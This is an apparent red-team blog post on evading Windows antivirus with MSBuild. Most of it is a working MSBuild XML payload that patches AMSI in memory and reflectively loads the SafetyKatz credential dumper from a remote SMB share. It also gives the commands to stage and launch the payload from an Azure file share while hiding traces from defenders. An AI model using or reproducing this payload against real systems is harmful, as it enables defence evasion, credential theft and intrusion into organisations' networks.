Bypassing AV's like its 2001

My normal go-to implant / C2 for any inside penetration test is usually my modified version of Empire, nicknamed “Loke”. As Empire is fully relying on the use of PowerShell scriptlets, I need to be able to bypass common Windows hardening techniques, such as “Constrained Language Mode” for PowerShell.exe or/and AppLocker for binaries.

Typically I’m able to use generic AppLocker “safe” paths (Great ressource for everything AppLocker) to invoke a PowerShell non Constrained runspace via C#. The same goes for the use of typical LOLBins such as MSBuild and Microsoft.Workflow.Compiler So far I have been rather happy with this, but as big names in the field keep pointing out, PowerShell is a natural target for logging in any sort of proper SIEM solution. It’s therefore rather clear that it will slowly turn into an un-stealthy C2 solution, especially for long term engagements.

With this, I started to look into the .NET C2 Covenant with the main goal being able bypass common AV’s, one such bypass turned out to be way to simple not to point out. It simply invokes any C# binary from a remote resource (Using C# reflection) at runtime, all in the context as MSBuild.exe (Smacked in a AMSI bypass there aswell)

Simply

XML payload to feed into MSBuild

    <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
      <Target Name="Hello">
        <ClassExample/>
      </Target>
      <UsingTask
      TaskName="ClassExample"
      TaskFactory="CodeTaskFactory"
      AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
        <Task>
          <Code Type="Class" Language="cs">
    	      <![CDATA[	  
    using System;
    using System.IO;
    using Microsoft.Build.Framework;
    using Microsoft.Build.Utilities;
    using System.Runtime.InteropServices;
    
    class BaseLibs
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
    
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflprotOld);
    }
    
    public class ClassExample : Task, ITask
    {
        public override bool Execute()
        {
    		//64 bit AMSI bypass, weird / modified version of the AmsiScanBufferBypass by RasteMouse
    		//https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass.ps1
    		
    		var dataFoo = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    		uint protOld;
    		var lib = BaseLibs.LoadLibrary("am" + "si." + "dll");
    		var addr = BaseLibs.GetProcAddress(lib, "Am" + "siS" + "canBuffer");       
    		BaseLibs.VirtualProtect(addr, (UIntPtr)dataFoo.Length, 0x40, out protOld);
    		Marshal.Copy(dataFoo, 0, addr, dataFoo.Length);
    		
    		//Load whatever C# binary u want here, with or without arguments
    		
            System.Reflection.Assembly.Load(File.ReadAllBytes(@"\\X.X.X.X\deploy\SafetyKatz.bin")).EntryPoint.Invoke(0, new object[] { new string[] { } });
            return true;
        }
    }
     ]]>
    	</Code>	  
        </Task>
      </UsingTask>
    </Project>

For 64 bit:
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe Loader.xml

For 32 bit:
C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe Loader.xml

REMIX

But why touch disk? MSBuild takes input as a file-path, so we can easly load the XML payload from any accessible SMB share. Don’t wanna setup a share on some random droplet ? Azure got you covered! Simply create an Azure Account, setup an “Storage Account”, upload your payload, and copy the key. Your all set!

cmdkey /add:"XXXX.file.core.windows.net" /user:"Azure\XXXX" /pass:"MYSUPERLONGSECRETKEY=="

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\XXXX.file.core.windows.net\SUBFOLDER\catLoader.xml

cmdkey /delete:XXXX.file.core.windows.net

Remember to remove the key after you got the payload into memory, aswell to refresh/rotate the key in Azure, we really don’t want blueteam poking around in our share!

Loading SatyKatz from Azure SMB